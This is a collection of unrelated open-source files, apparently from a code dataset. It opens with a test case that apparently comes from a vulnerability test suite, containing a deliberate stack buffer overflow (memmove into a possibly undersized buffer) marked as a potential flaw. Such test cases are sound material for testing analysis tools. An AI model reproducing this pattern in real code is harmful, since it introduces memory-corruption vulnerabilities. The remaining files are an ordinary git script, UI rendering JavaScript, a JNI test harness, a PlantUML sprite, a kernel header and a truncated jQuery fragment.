{
#ifndef OMITBAD
/* bad function declaration */
void badSource(int * &data);
void bad()
{
int * data;
data = NULL;
badSource(data);
{
int source[10] = {0};
/* POTENTIAL FLAW: Possible buffer overflow if data was not allocated correctly in the source */
memmove(data, source, 10*sizeof(int));
printIntLine(data[0]);
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B uses the GoodSource with the BadSink */
void goodG2BSource(int * &data);
static void goodG2B()
{
int * data;
data = NULL;
goodG2BSource(data);
{
int source[10] = {0};
/* POTENTIAL FLAW: Possible buffer overflow if data was not allocated correctly in the source */
memmove(data, source, 10*sizeof(int));
printIntLine(data[0]);
}
}
void good()
{
goodG2B();
}
#endif /* OMITGOOD */
} /* close namespace */
/* Below is the main(). It is only used when building this testcase on
* its own for testing or for building a binary to use in testing binary
* analysis tools. It is not used when compiling all the testcases as one
* application, which is how source code analysis tools are tested.
*/
#ifdef INCLUDEMAIN
using namespace CWE121_Stack_Based_Buffer_Overflow__CWE131_memmove_62; /* so that we can use good and bad easily */
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env ruby
# This script is called by the 'forced command' directive in `/home/git/.ssh/.authorized_keys`
$LOAD_PATH.unshift File.join(File.dirname(__FILE__), '..')
require 'config/boot'
# $SSH_ORIGINAL_COMMAND is set by `sshd'. It stores the originally intended command to be run by `git push'. In
# our case it is overridden by the 'forced command', so we need to reinstate it now that the 'forced command' has
# run.
RECEIVE_REPO="$(echo "$SSH_ORIGINAL_COMMAND" | parse_repo_from_ssh_command)"
repo_path="$GITHOME/$RECEIVE_REPO"
git-shell -c "$(echo "$SSH_ORIGINAL_COMMAND" | awk '{print $1}') '$RECEIVE_REPO'"
| {
"pile_set_name": "Github"
} |
var Jason = function(options, jason) {
var node = {
$type: "div",
class: "jason",
_body: null,
_styles: null,
$init: function() {
if (jason) {
this._update(jason);
} else {
this.classList.add("hidden");
}
this.style.minHeight = window.innerHeight;
},
$update: function() {
// Style
var b = this._body;
if (b.background) {
if (typeof b.background === 'string') {
if (/http/.test(b.background)) {
this.style.backgroundImage = "url(" + b.background + ")";
this.style.backgroundSize = "cover";
} else {
this.style.backgroundColor = b.background;
}
} else {
// advanced background
if (b.background.type === 'html') {
this.querySelector(".webcontainer")._update(b.background);
}
}
} else if (b.style && b.style.background) {
if (typeof b.style.background === 'string') {
if (/http/.test(b.style.background)) {
this.style.backgroundImage = "url(" + b.style.background + ")";
this.style.backgroundSize = "cover";
} else {
this.style.backgroundColor = b.style.background;
}
} else {
// advanced type (object type)
if (b.style.background.type === 'html') {
this.querySelector(".webcontainer")._update(b.style.background);
}
}
}
if (this._styles) {
this.querySelector("style")._update(this._styles);
}
},
_draw: function(body) {
this._body = body;
this.querySelector(".sections")._update(this._body);
this.querySelector(".layers")._update(this._body);
this.querySelector(".header")._update(this._body);
this.querySelector(".footer")._update(this._body);
},
_update: function(root){
var self = this;
// Declare mixins with '$jason.head.type = "mixin"'
if (root && root.$jason && root.$jason.head && root.$jason.head.type === "mixin") {
self.classList.add("hidden");
return;
}
Mixin.loaded = [];
Mixin.parse(root)
.then(function(root) {
var head = root.$jason.head;
var body = root.$jason.body;
if (body) {
self.classList.remove("hidden");
self._draw(body);
} else {
self.classList.add("hidden");
}
if (head) {
if (head.templates && head.templates.body && head.data) {
var parsed = ST.transform(head.templates.body, head.data);
if (parsed) {
self.classList.remove("hidden");
self._draw(parsed);
} else {
self.classList.add("hidden");
}
}
if (head.styles) {
self._styles = head.styles;
}
}
})
.catch(function(err) {
console.log("Error", err);
self.classList.add("hidden");
})
},
$components: [
Css,
Header,
Sections,
Layers,
Footer,
WebContainer
]
}
if (options) {
Object.keys(options).forEach(function(key) {
if (key === 'class') {
node.class = "jason " + options[key];
} else {
node[key] = options[key];
}
})
}
return node;
}
Components = {
slider: function(o) {
var style = undefined;
if (o.style) {
style = {
width: o.style.width ? o.style.width + 'px' : undefined,
height: o.style.height ? o.style.height + 'px' : undefined
}
}
return Utils.clean({
$type: "input",
type: "range",
value: o.value,
class: o.className,
style: Utils.clean(style)
})
},
textfield: function(o) {
var style = undefined;
if (o.style) {
style = {
background: o.style.background,
width: o.style.width ? o.style.width + 'px' : undefined,
height: o.style.height ? o.style.height + 'px' : undefined,
padding: o.style.padding ? o.style.padding + 'px' : undefined,
paddingLeft: o.style.padding_left ? o.style.padding_left + 'px' : undefined,
paddingRight: o.style.padding_right ? o.style.padding_right + 'px' : undefined,
paddingTop: o.style.padding_top ? o.style.padding_top + 'px' : undefined,
paddingBottom: o.style.padding_bottom ? o.style.padding_bottom + 'px' : undefined,
color: o.style.color,
fontFamily: o.style.font,
fontSize: o.style.size ? o.style.size + 'px' : undefined,
textAlign: o.style.align
}
}
return Utils.clean({
$type: "input",
type: o.type,
value: o.value,
class: o.className,
style: Utils.clean(style),
placeholder: o.placeholder
})
},
textarea: function(o) {
var style = undefined;
if (o.style) {
style = {
background: o.style.background,
width: o.style.width ? o.style.width + 'px' : undefined,
height: o.style.height ? o.style.height + 'px' : undefined,
padding: o.style.padding ? o.style.padding + 'px' : undefined,
paddingLeft: o.style.padding_left ? o.style.padding_left + 'px' : undefined,
paddingRight: o.style.padding_right ? o.style.padding_right + 'px' : undefined,
paddingTop: o.style.padding_top ? o.style.padding_top + 'px' : undefined,
paddingBottom: o.style.padding_bottom ? o.style.padding_bottom + 'px' : undefined,
color: o.style.color,
fontFamily: o.style.font,
fontSize: o.style.size ? o.style.size + 'px' : undefined,
textAlign: o.style.align
}
}
return Utils.clean({
$type: "textarea",
value: o.value,
class: o.className,
style: Utils.clean(style),
placeholder: o.placeholder
})
},
button: function(o) {
var style = undefined;
if (o.style) {
style = {
background: o.style.background,
width: o.style.width ? o.style.width + 'px' : undefined,
height: o.style.height ? o.style.height + 'px' : undefined,
padding: o.style.padding ? o.style.padding + 'px' : undefined,
paddingLeft: o.style.padding_left ? o.style.padding_left + 'px' : undefined,
paddingRight: o.style.padding_right ? o.style.padding_right + 'px' : undefined,
paddingTop: o.style.padding_top ? o.style.padding_top + 'px' : undefined,
paddingBottom: o.style.padding_bottom ? o.style.padding_bottom + 'px' : undefined,
borderRadius: o.style.corner_radius ? o.style.corner_radius + 'px' : undefined,
fontFamily: o.style.font,
fontSize: o.style.size ? o.style.size + 'px' : undefined,
textAlign: o.style.align,
lineHeight: o.style.height ? o.style.height + 'px' : undefined,
color: o.style.color
}
}
if (o.url) {
// image button
return Utils.clean({
$type: "span",
$components: [{
$type: "img",
src: o.url,
class: o.className,
style: Utils.clean(style)
}]
});
} else {
return Utils.clean({
$type: "span",
$components: [{
$type: "button",
$text: o.text,
class: o.className,
style: Utils.clean(style)
}]
})
}
},
image: function(o) {
var style = undefined;
if (o.style) {
style = {
background: o.style.background,
width: o.style.width ? o.style.width + 'px' : undefined,
height: o.style.height ? o.style.height + 'px' : undefined,
padding: o.style.padding ? o.style.padding + 'px' : undefined,
paddingLeft: o.style.padding_left ? o.style.padding_left + 'px' : undefined,
paddingRight: o.style.padding_right ? o.style.padding_right + 'px' : undefined,
paddingTop: o.style.padding_top ? o.style.padding_top + 'px' : undefined,
paddingBottom: o.style.padding_bottom ? o.style.padding_bottom + 'px' : undefined,
borderRadius: o.style.corner_radius ? o.style.corner_radius + 'px' : undefined,
color: o.style.color
}
}
return Utils.clean({
$type: "img",
src: o.url,
class: o.className,
style: Utils.clean(style)
});
},
label: function(o) {
var style = undefined;
if (o.style) {
style = {
background: o.style.background,
width: o.style.width ? o.style.width + 'px' : undefined,
height: o.style.height ? o.style.height + 'px' : undefined,
padding: o.style.padding ? o.style.padding + 'px' : undefined,
paddingLeft: o.style.padding_left ? o.style.padding_left + 'px' : undefined,
paddingRight: o.style.padding_right ? o.style.padding_right + 'px' : undefined,
paddingTop: o.style.padding_top ? o.style.padding_top + 'px' : undefined,
paddingBottom: o.style.padding_bottom ? o.style.padding_bottom + 'px' : undefined,
borderRadius: o.style.corner_radius ? o.style.corner_radius + 'px' : undefined,
fontFamily: o.style.font,
fontSize: o.style.size ? o.style.size + 'px' : undefined,
textAlign: o.style.align,
lineHeight: o.style.height ? o.style.height + 'px' : undefined,
color: o.style.color
}
}
return Utils.clean({
$type: "p",
$text: o.text,
class: o.className,
style: Utils.clean(style)
})
},
space: function(o) {
var style = undefined;
if (o.style) {
style = {
background: o.style.background,
width: o.style.width ? o.style.width + 'px' : undefined,
height: o.style.height ? o.style.height + 'px' : undefined,
padding: o.style.padding ? o.style.padding + 'px' : undefined,
paddingLeft: o.style.padding_left ? o.style.padding_left + 'px' : undefined,
paddingRight: o.style.padding_right ? o.style.padding_right + 'px' : undefined,
paddingTop: o.style.padding_top ? o.style.padding_top + 'px' : undefined,
paddingBottom: o.style.padding_bottom ? o.style.padding_bottom + 'px' : undefined
}
}
return Utils.clean({
class: o.className,
"data-flex": true,
style: Utils.clean(style)
})
}
}
var Css = {
$type: "style",
$text: "",
_cssText: "",
$update: function() {
this.$text = this._cssText;
},
_update: function(s) {
var new_stylesheet = {};
for (var key in s) {
var attrs = {};
var stylesheet = s[key];
if (stylesheet.background && !/http/.test(stylesheet.background)) {
attrs["background-color"] = stylesheet.background;
}
if (stylesheet.background && /http/.test(stylesheet.background)) {
attrs["background-image"] = 'url(' + stylesheet.background + ')';
attrs["background-size"] = "cover";
}
if (stylesheet.color) {
attrs["color"] = stylesheet.color;
}
if (stylesheet.bottom) {
attrs["bottom"] = stylesheet.bottom + "px";
attrs["position"] = "absolute";
}
if (stylesheet.left) {
attrs["left"] = stylesheet.left + "px";
attrs["position"] = "absolute";
}
if (stylesheet.right) {
attrs["right"] = stylesheet.right + "px";
attrs["position"] = "absolute";
}
if (stylesheet.top) {
attrs["top"] = stylesheet.top + "px";
attrs["position"] = "absolute";
}
if (stylesheet.padding) {
attrs["padding"] = stylesheet.padding + "px";
}
if (stylesheet.padding_left) {
attrs["padding-left"] = stylesheet.padding_left + "px";
}
if (stylesheet.padding_right) {
attrs["padding-right"] = stylesheet.padding_right + "px";
}
if (stylesheet.padding_top) {
attrs["padding-top"] = stylesheet.padding_top + "px";
}
if (stylesheet.padding_bottom) {
attrs["padding-bottom"] = stylesheet.padding_bottom + "px";
}
if (stylesheet.width) {
attrs["width"] = stylesheet.width + "px";
}
if (stylesheet.height) {
attrs["height"] = stylesheet.height + "px";
}
if (stylesheet.size) {
attrs["font-size"] = stylesheet.size + "px";
}
if (stylesheet.font) {
attrs["font-family"] = stylesheet.font;
}
if (stylesheet.corner_radius) {
attrs["border-radius"] = stylesheet.corner_radius;
}
if (stylesheet.align) {
attrs["text-align"] = stylesheet.align;
attrs["align-items"] = stylesheet.align;
}
var new_attrs = {};
Object.keys(attrs).forEach(function(k) {
new_attrs[k] = Utils.units(attrs[k]);
})
new_stylesheet[key] = new_attrs;
}
/*******
s looks like this:
"item": {
color: "#ff0000",
padding: "10px",
"font-family": "HelveticaNeue"
}
Need to transform to a string
.item {
color: #ff0000;
padding: 10px;
font-family: "HelveticaNeue"
}
********/
var css = Object.keys(new_stylesheet).map(function(classname) {
var firstLine = "#jason ."+classname+" {\n";
var content = Object.keys(new_stylesheet[classname]).map(function(attr) {
return "\t" + attr + ": " + new_stylesheet[classname][attr] + ";";
}).join("\n") + "\n";
var lastLine = "}";
return firstLine + content + lastLine;
}).join("\n")
this._cssText = css;
}
}
var Footer = {
$type: "nav",
class: "footer nav nav-justified",
_title: null,
_items: [],
_footer: null,
_style: null,
_tpl: {
tabs: function(item) {
return {
class: "nav-item",
$components: [{
$type: "img",
src: item.image,
$init: function() {
Style.node(this);
}
}, {
$text: item.text, class: "letter"
}]
}
}
},
_update: function(body) {
if (body.footer) {
this._footer = body.footer;
}
},
$update: function() {
if (this._footer.tabs) {
if (this._footer.tabs.items) {
if (this._footer.tabs.style) {
this._style = this._footer.tabs.style;
}
this.$components = this._footer.tabs.items.map(this._tpl.tabs)
}
} else if (this._footer.input) {
if (this._footer.input.style) {
this._style = this._footer.input.style;
}
var i = this._footer.input;
var inputItems = [];
if (i.left && i.left.image) {
var lb = {
$type: "img",
src: i.left.image
};
if (i.left.style) lb.style = Style.transform(i.left.style);
inputItems.push({
class: "input-item button-item",
$components: [lb]
})
}
if (i.textfield) {
var tf = {$type: "input"};
if (i.textfield.placeholder) tf.placeholder = i.textfield.placeholder;
if (i.textfield.style) tf.style = Style.transform(i.textfield.style);
inputItems.push({
class: "input-item textfield",
$components: [tf]
});
}
if (i.right && i.right.text) {
var rb = {
$type: "span",
$text: i.right.text
};
if (i.right.style) rb.style = Style.transform(i.right.style);
inputItems.push({
class: "input-item button-item",
$components: [rb]
})
}
this.$components = inputItems;
}
Style.node(this);
}
}
var Header = {
$type: "nav",
class: "header nav nav-justified",
_title: null,
_menu: null,
_style: null,
_update: function(body) {
if (body.header) {
// title
if (body.header.title) {
if (typeof body.header.title === 'string') {
this._title = { type: "label", text: body.header.title };
} else {
this._title = body.header.title;
}
}
// menu
if (body.header.menu) {
this._menu = body.header.menu;
}
// style
if (body.header.style) {
this._style = body.header.style;
}
}
},
$update: function() {
// style
Style.node(this);
// menu drawing
var menuItem;
if (this._menu) {
if (this._menu.image) {
menuItem = {
class: "nav-item",
$components: [{ $type: "img", src: this._menu.image, class: "icon float-right" } ]
}
} else if (this._menu && this._menu.text) {
menuItem = {
class: "nav-item",
$components: [{ $type: "span", $text: this._menu.text, class: "icon nav-item float-right" }]
}
}
if (this._menu.style) menuItem.style = Style.transform(this._menu.style);
} else {
menuItem = {
class: "nav-item",
$components: [{ $type: "span", $text: "", class: "icon float-right" }]
}
}
// Build title
/*
label type
{
"type": "label",
"text": "this isa title",
"style": {
"font": "..",
"size": "..",
"color": ".."
}
}
image type
{
"type": "image",
"url": "..",
"style": {
"width": "..",
"height": ".."
}
}
*/
var titleItem;
if (this._title) {
var t = this._title;
if (t.type) {
var newStyle = {};
if (t.style) {
var style = Style.transform(t.style);
for (var key in style) {
newStyle[key] = Utils.units(style[key]);
}
}
if (t.type === 'label') {
titleItem = { $type: "h5", $text: t.text, class: "nav-item" };
if (newStyle) titleItem.style = newStyle;
} else if (t.type === 'image') {
titleItem = {
class: "nav-item",
$components: [{
$type: "img", src: t.url
}]
}
if (newStyle) titleItem.$components[0].style = newStyle;
}
}
} else {
titleItem = { $type: "h5", $text: "", class: "nav-item" };
}
this.$components = [
{ $type: "span", $text: "", class: "nav-item" },
titleItem,
menuItem
]
}
}
var Item = {
build: function(layout, parentLayout) {
if (layout.components) {
return Item.layout(layout, parentLayout);
} else {
return Item.components(layout, parentLayout);
}
},
layout: function(layout, parentLayout) {
var style = {};
if (layout && layout.style) {
if (layout.style.background && !/http/.test(layout.style.background)) { style.backgroundColor = layout.style.background }
if (layout.style.background && /http/.test(layout.style.background)) { style.backgroundImage = 'url(' + layout.style.background + ')' }
if (layout.style.background && /http/.test(layout.style.background)) { style.backgroundSize = 'cover' }
if (layout.style.padding) { style.padding = layout.style.padding + 'px' }
if (layout.style.width) { style.width = layout.style.width + 'px' }
if (layout.style.height) { style.height = layout.style.height + 'px' }
if (layout.style.align) { style.textAlign = layout.style.align }
if (layout.style.align) { style.alignItems = layout.style.align }
if ((parentLayout && parentLayout.type=='vertical' && layout.style.height) || (parentLayout && parentLayout.type=='horizontal' && layout.style.width)) {
style.flexGrow = "0";
} else {
style.flexGrow = "1";
}
if (parentLayout && parentLayout.type=='vertical' && parentLayout.style && parentLayout.style.spacing) {
style.marginBottom = parentLayout.style.spacing+'px';
}
if (parentLayout && parentLayout.type=='horizontal' && parentLayout.style && parentLayout.style.spacing) {
style.marginRight = parentLayout.style.spacing+'px';
}
}
var transformed = {
style: style,
class: layout.type + " layout",
$components: layout.components ? layout.components.map(function(component) { return Item.build(component, layout) }) : []
};
if (layout.href) {
transformed.onclick = function(e) {
if (layout.href.view === 'web') {
window.location.href = layout.href.url;
} else {
window.location.href = layout.href.url.replace(/\.json$/,'') + "/edit";
}
}
}
return transformed;
},
components: function(input, parentLayout) {
var c = Components[input.type];
var transformed;
if (c) {
if (input.class) input.className = input.class;
transformed = c(input);
} else if (input.class === 'spacing') {
transformed = { class: input.class };
} else {
transformed = { $text: input.type };
}
var style = {};
if (parentLayout && parentLayout.type === 'vertical' && parentLayout.style && parentLayout.style.spacing) {
style["marginBottom"] = parentLayout.style.spacing + "px";
} else if (parentLayout && parentLayout.type === 'horizontal' && parentLayout.style && parentLayout.style.spacing) {
style["marginRight"] = parentLayout.style.spacing + "px";
}
if (transformed.style) {
Object.keys(style).forEach(function(key) {
transformed.style[key] = style[key];
})
} else {
transformed.style = style;
}
return transformed;
}
}
var Layers = {
_items: [],
class: "layers hidden",
_update: function(body) {
if (body.layers) {
this.classList.remove("hidden");
this._items = body.layers;
}
},
$update: function() {
this.$components = this._items.map(Layers.tpl)
},
tpl: function(item) {
var component = {};
if (item.type === 'image') {
component.$type = 'img';
if (item.url) {
component.src = item.url;
}
} else if (item.type === 'label') {
component.$type = 'span';
if (item.text) {
component.$text = item.text;
}
}
if (item.class) {
component.class = item.class;
}
if (item.style) {
/// common styling
for (var key in item.style) {
if (/^[0-9]+$/.test(item.style[key])) {
item.style[key] = item.style[key] + "px";
} else if (/.*%[ ]*[+-][ ]*[0-9]+[ ]*/.test(item.style[key])) {
// "width": "50%-10px"
item.style[key] = ("calc(" + item.style[key] + "px)").split("+").join(" + ").split("-").join(" - ");
} else {
item.style[key] = item.style[key];
}
}
component.style = Style.transform(item.style)
// layer specific styling - top,left,right,bottom
if (item.style.top != undefined) { component.style.top = item.style.top; }
if (item.style.left != undefined) { component.style.left = item.style.left; }
if (item.style.right != undefined) { component.style.right = item.style.right; }
if (item.style.bottom != undefined) { component.style.bottom = item.style.bottom; }
component.style.position = "absolute";
}
return component;
}
}
Mixin = {
cache: {},
plugin: function(o, path, new_val) {
if (path && path.length > 0) {
var fn = Function('new_val', 'with(this) {this' + path + '=new_val; return this;}').bind(o);
return fn(new_val)
} else {
Object.keys(new_val).forEach(function(k) {
o[k] = new_val[k]
})
return o;
}
},
remote: function(root) {
return new Promise(function(success, error) {
// MIXIN
var selection = ST.select(root, function(key, val) {
return key === '@' && !/^[ ]*\$document/.test(val)
});
var paths = selection.paths()
var values = selection.values()
if (values.length > 0) {
var subpaths = [];
values.forEach(function(value, index) {
if (/@/.test(value)) {
var tokens = value.split("@")
subpaths.push(tokens[0])
values[index] = tokens[1]
} else {
subpaths.push("");
}
})
var promises = values.map(function(url, index) {
return new Promise(function(success, error) {
if (Mixin.cache[url]) {
var res = Mixin.cache[url];
success(JSON.parse(JSON.stringify(res)));
} else {
fetch(url).then(function(res) { return res.json() })
.then(function(res) {
Mixin.cache[url] = res;
success(JSON.parse(JSON.stringify(res)));
})
}
})
})
var resolved_root = root;
var self = this;
Promise.all(promises).then(function(objects) {
paths.forEach(function(path, index) {
var plugin = objects[index];
if (subpaths[index] != "") {
var fn = Function('with(this) { return this.' + subpaths[index] + ';}').bind(plugin);
plugin = fn()
}
resolved_root = Mixin.plugin(resolved_root, path, plugin)
})
Mixin.loaded = Mixin.loaded.concat(values)
success(resolved_root)
})
} else {
success(root);
}
})
},
local: function(root) {
return new Promise(function(success, error) {
var selection = ST.select(root, function(key, val) {
return key === '@' && /\$document\./.test(val)
});
var paths = selection.paths()
var values = selection.values()
paths.forEach(function(path, index) {
/***
Example
local_ref := "$document.db"
}
*****/
var local_ref = values[index];
// local_resolver finds the value at $document.db
var local_resolver = Function('with(this) { return ' + local_ref + ';}').bind({$document: root});
var resolved = local_resolver()
if (resolved instanceof Object && resolved.constructor === Object) {
var func = Function('with(this) {return this' + path + ';}').bind(root);
Object.keys(resolved).forEach(function(key) {
var branch = func(path);
branch[key] = resolved[key];
})
} else {
var func = Function('new_val', 'with(this) {this' + path + '=new_val; return this;}').bind(root);
root = func(resolved);
}
})
success(root)
})
},
parse: function(root) {
// MIXIN
var selection = ST.select(root, function(key, val) {
return key === '@' && !/\$document\./.test(val) && Mixin.loaded.indexOf(val) === -1;
});
if (selection.values().length > 0) {
// remote
return Mixin.remote(root).then(Mixin.parse)
} else {
// try local
return Mixin.local(root)
}
}
}
var Section = {
build: function(input) {
var output = [];
var h = Section.header(input);
if (h) output = output.concat(h);
var i = Section.items(input);
if (i) output = output.concat({
class: "section-items", $components: i
});
return output;
},
header: function(input) {
if (input.header) {
var output = {
class: "section-header"
};
if (input.header.style) {
output["style"] = {};
if (input.header.style.background) {
output["style"]["backgroundColor"] = input.header.style.background;
}
if (input.header.style.padding) {
output["style"]["padding"] = input.header.style.padding;
}
if (input.header.style.width) {
output["style"]["width"] = input.header.style.width;
}
if (input.header.style.height) {
output["style"]["height"] = input.header.style.height;
}
}
output["$components"] = [Item.build(input.header)];
return output;
} else {
return null;
}
},
items: function(input) {
if (input.items) {
return input.items.map(function(item) {
var style = {};
if (item.style) {
if (item.style.background) style.backgroundColor = item.style.background;
if (item.style.padding) style.padding = item.style.padding + 'px';
if (item.style.width) style.width = item.style.width + 'px';
if (item.style.height) style.height = item.style.height + 'px';
}
return {
class: "section-item",
$components: [Item.build(item)],
style: style
}
})
} else {
return null;
}
}
}
var Sections = {
class: "sections hidden",
_update: function(body) {
var input = body.sections;
if (input && input.length > 0) {
this.classList.remove("hidden");
this.$components = input.map(function(section) {
var output = {};
// class
output.class = section.type + " section";
// style
if (section.style) {
output.style = Style.transform(section.style)
}
// components
var ss = Section.build(section);
if (ss) output["$components"] = ss;
return output;
});
} else {
this.$components = [];
}
}
}
var Style = {
tpl: function(style) {
var s = {};
if (style.color) {
s.color = style.color;
}
if (style.background && /http/.test(style.background)) {
s.backgroundImage = 'url(' + style.background + ')';
s.backgroundSize = 'cover';
} else {
s.backgroundColor = style.background;
}
if (style.padding) s.padding = style.padding;
if (style.width) s.width = style.width;
if (style.height) {
s.height = style.height;
s.lineHeight = style.height;
}
if (style.font) s.fontFamily = style.font;
if (style.size) s.fontSize = style.size;
if (style.corner_radius) s.borderRadius = style.corner_radius;
if (style.align) {
s.textAlign = style.align;
s.alignItems = style.align;
}
return s;
},
/// style a node
node: function($node) {
if ($node._style) {
var s = Style.tpl($node._style);
for (var key in s) {
$node.style[key] = Utils.units(s[key]);
}
}
},
transform: function(style) {
return Style.tpl(style);
}
}
var Utils = {
units: function(str) {
if (/^[0-9]+$/.test(str)) {
return str + "px";
} else if (/\(.*%[ ]*[+-][ ]*[0-9]+px[ ]*/.test(str)) {
// "width": "50%-10px"
return "calc(" + str + ")";
} else {
return str;
}
},
transformer: function(fn) {
var result = {};
for(var key in o) {
try {
if (typeof o[key] !== "undefined") {
result[key] = o[key];
}
} catch (e) {
// no need to include
}
}
return result;
},
// Cleans up all undefined values from an object
clean: function(obj) {
if (obj) {
Object.keys(obj).forEach(function (key) {
if(typeof obj[key] === 'undefined'){
delete obj[key];
}
});
if (Object.keys(obj).length === 0) {
return null;
} else {
return obj;
}
} else {
return obj;
}
}
}
var WebContainer = {
$type: "iframe",
class: "webcontainer hidden",
height: "100%",
width: "100%",
_update: function(background) {
if (background.style) {
this.style = background.style;
}
if (background.url) {
this.classList.remove('hidden');
this.src = background.url;
} else if (background.text) {
this.classList.remove('hidden');
this.$html = background.text;
}
}
}
| {
"pile_set_name": "Github"
} |
public class JniTest
{
private static void Test(
String name,
Object actual,
Object expected,
String actualAsString,
String expectedAsString)
{
if (!actual.equals(expected))
{
System.out.println(String.format(
"Test: %s failed\nExpected: \"%s\", Actual: \"%s\"",
name,
expected,
actual));
JniTest.exitCode = -1;
}
else
{
System.out.println(String.format("Test: %s passed", name));
}
}
private static void Test(
String name,
String actual,
String expected)
{
JniTest.Test(name, actual, expected, actual, expected);
}
public static void main(String[] args)
{
var actualVersion = JniWrapper.get_jni_version();
var expectedVersion = 0x000A0000;
JniTest.Test(
"Get JNI Version",
actualVersion,
expectedVersion,
String.format("0x%08X", actualVersion),
String.format("0x%08X", expectedVersion));
JniTest.Test(
"Read Native String Constant",
JniWrapper.read_constant_string(),
"Hello from C");
JniTest.Test(
"Write Java String to Native Library",
JniWrapper.write_string("Hello from Java"),
"Hello from Java");
JniTest.Test(
"Write Java Char Array to Native Library",
JniWrapper.write_char_array("Hello from Java".toCharArray()),
"Hello from Java");
var helper = new JniHelper();
JniTest.Test(
"Write String Member to Native Library",
JniWrapper.write_string_member(helper),
"Set from Java");
JniWrapper.set_string_member(helper);
JniTest.Test(
"Set String Member from Native Library",
helper.stringMember,
"Set from C");
JniWrapper.execute_java_function(helper);
JniTest.Test(
"Execeute Java Function from Native Library",
helper.stringMember,
"Hello, Managed World");
helper = JniWrapper.instantiate_java_class();
JniTest.Test(
"Instantiate Java Class",
helper.stringMember,
"Instantiated from C");
JniTest.Test(
"Call Native Library to Set System Time",
JniWrapper.set_and_write_time_in_seconds(1000),
"1000");
System.exit(exitCode);
}
public static int exitCode = 0;
}
| {
"pile_set_name": "Github"
} |
@startuml
sprite $reddit [48x48/16] {
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000269BCDCCA740000000000000000000
00000000000000028EFFFFFFFFFFFFB50000000000000000
00000000000003BFFFFFFFFFFFFFFFFFE700000000000000
000000000001AFFFFFFFFFFFFFFFFFFFFFE5000000000000
00000000004EFFFFFFFFFFFFFFFFFFFFFFFFA10000000000
0000000007FFFFFFFFFFFFFFFFFFFFFFFFFFFD1000000000
000000008FFFFFFFFFFFFFFFFFFFFFFFFFFFFFE200000000
00000007FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE10000000
0000004FFFFFFFFFFFFFFFFFFDFFFFFFDFFFFFFFC0000000
000001EFFFFFFFFFFFFFFFFFD0047BE300BFFFFFF8000000
00000AFFFFFFFFFFFFFFFFFF95FB7400002FFFFFFF200000
00003FFFFFFFFFFFFFFFFFFF69FFFFB0003FFFFFFFB00000
0000BFFFFFFFFFFFFFFFFFFF2CFFFFF501CFFFFFFFF30000
0002FFFFFFFFFFFFFFFFFFFF0FFFFFFFEFFFFFFFFFFB0000
0008FFFFFFFFFFFFFFFFFFFB3FFFFFFFFFFFFFFFFFFF1000
000EFFFFFFFFFFFFFFFFFFF87FFFFFFFFFFFFFFFFFFF6000
002FFFFFFFFFFFFFFFFFFEC38DFFFFFFFFFFFFFFFFFFA000
006FFFFFFFFFFFFFFFA5100000027DFFFFFFFFFFFFFFE000
009FFFFFFFFF735DA10000000000004D834BFFFFFFFFF100
00BFFFFFFFF4000000000000000000000000CFFFFFFFF300
00CFFFFFFFE00000000000000000000000006FFFFFFFF400
00DFFFFFFFD00000002200000000300000005FFFFFFFF500
00CFFFFFFFF3000008FF8000002EFE200000BFFFFFFFF500
00CFFFFFFFFE30001FFFF100008FFF900009FFFFFFFFF400
00AFFFFFFFFF50000FFFF000008FFF80000CFFFFFFFFF200
008FFFFFFFFF500006FF6000001CFC10000CFFFFFFFFF000
004FFFFFFFFF80000000000000000000000EFFFFFFFFC000
000FFFFFFFFFD0000000000000000000004FFFFFFFFF8000
000BFFFFFFFFF600001B20000007800000CFFFFFFFFF4000
0005FFFFFFFFFF300007EC989AEC200009FFFFFFFFFE0000
0000EFFFFFFFFFF40000047876200000AFFFFFFFFFF70000
00007FFFFFFFFFFFA10000000000004DFFFFFFFFFFF00000
00000EFFFFFFFFFFFFA4100000027DFFFFFFFFFFFF700000
000005FFFFFFFFFFFFFFFECBCDFFFFFFFFFFFFFFFD000000
000000AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3000000
0000000DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60000000
00000001EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF800000000
000000002DFFFFFFFFFFFFFFFFFFFFFFFFFFFF8000000000
0000000001CFFFFFFFFFFFFFFFFFFFFFFFFFF60000000000
000000000008FFFFFFFFFFFFFFFFFFFFFFFD300000000000
0000000000002BFFFFFFFFFFFFFFFFFFFF70000000000000
000000000000003BFFFFFFFFFFFFFFFE7000000000000000
000000000000000016AEFFFFFFFFC8400000000000000000
000000000000000000001345542000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
}
!define FA_REDDIT(_alias) ENTITY(rectangle,black,reddit,_alias,FA REDDIT)
!define FA_REDDIT(_alias, _label) ENTITY(rectangle,black,reddit,_label, _alias,FA REDDIT)
!define FA_REDDIT(_alias, _label, _shape) ENTITY(_shape,black,reddit,_label, _alias,FA REDDIT)
!define FA_REDDIT(_alias, _label, _shape, _color) ENTITY(_shape,_color,reddit,_label, _alias,FA REDDIT)
skinparam folderBackgroundColor<<FA REDDIT>> White
@enduml | {
"pile_set_name": "Github"
} |
#ifndef __ALPHA_MMU_H
#define __ALPHA_MMU_H
/* The alpha MMU context is one "unsigned long" bitmap per CPU */
typedef unsigned long mm_context_t[NR_CPUS];
#endif
| {
"pile_set_name": "Github"
} |
define([
"./core",
"./var/rnotwhite"
], function( jQuery, rnotwhite ) {
// String to Object options format cache
var optionsCache = {};
// Convert String-formatted options into Object-formatted ones and store in cache
function createOptions( options ) {
var object = optionsCache[ options ] = {};
jQuery.each( options.match( rnotwhite ) || [], function( _, flag ) {
object[ flag ] = true;
});
return object;
}
/*
* Create a callback list using the following parameters:
*
* options: an optional list of space-separated options that will change how
* the callback list behaves or a more traditional option object
*
* By default a callback list will act like an event callback list and can be
* "fired" multiple times.
*
* Possible options:
*
* once: will ensure the callback list can only be fired once (like a Deferred)
*
* memory: will keep track of previous values and will call any callback added
* after the list has been fired right away with the latest "memorized"
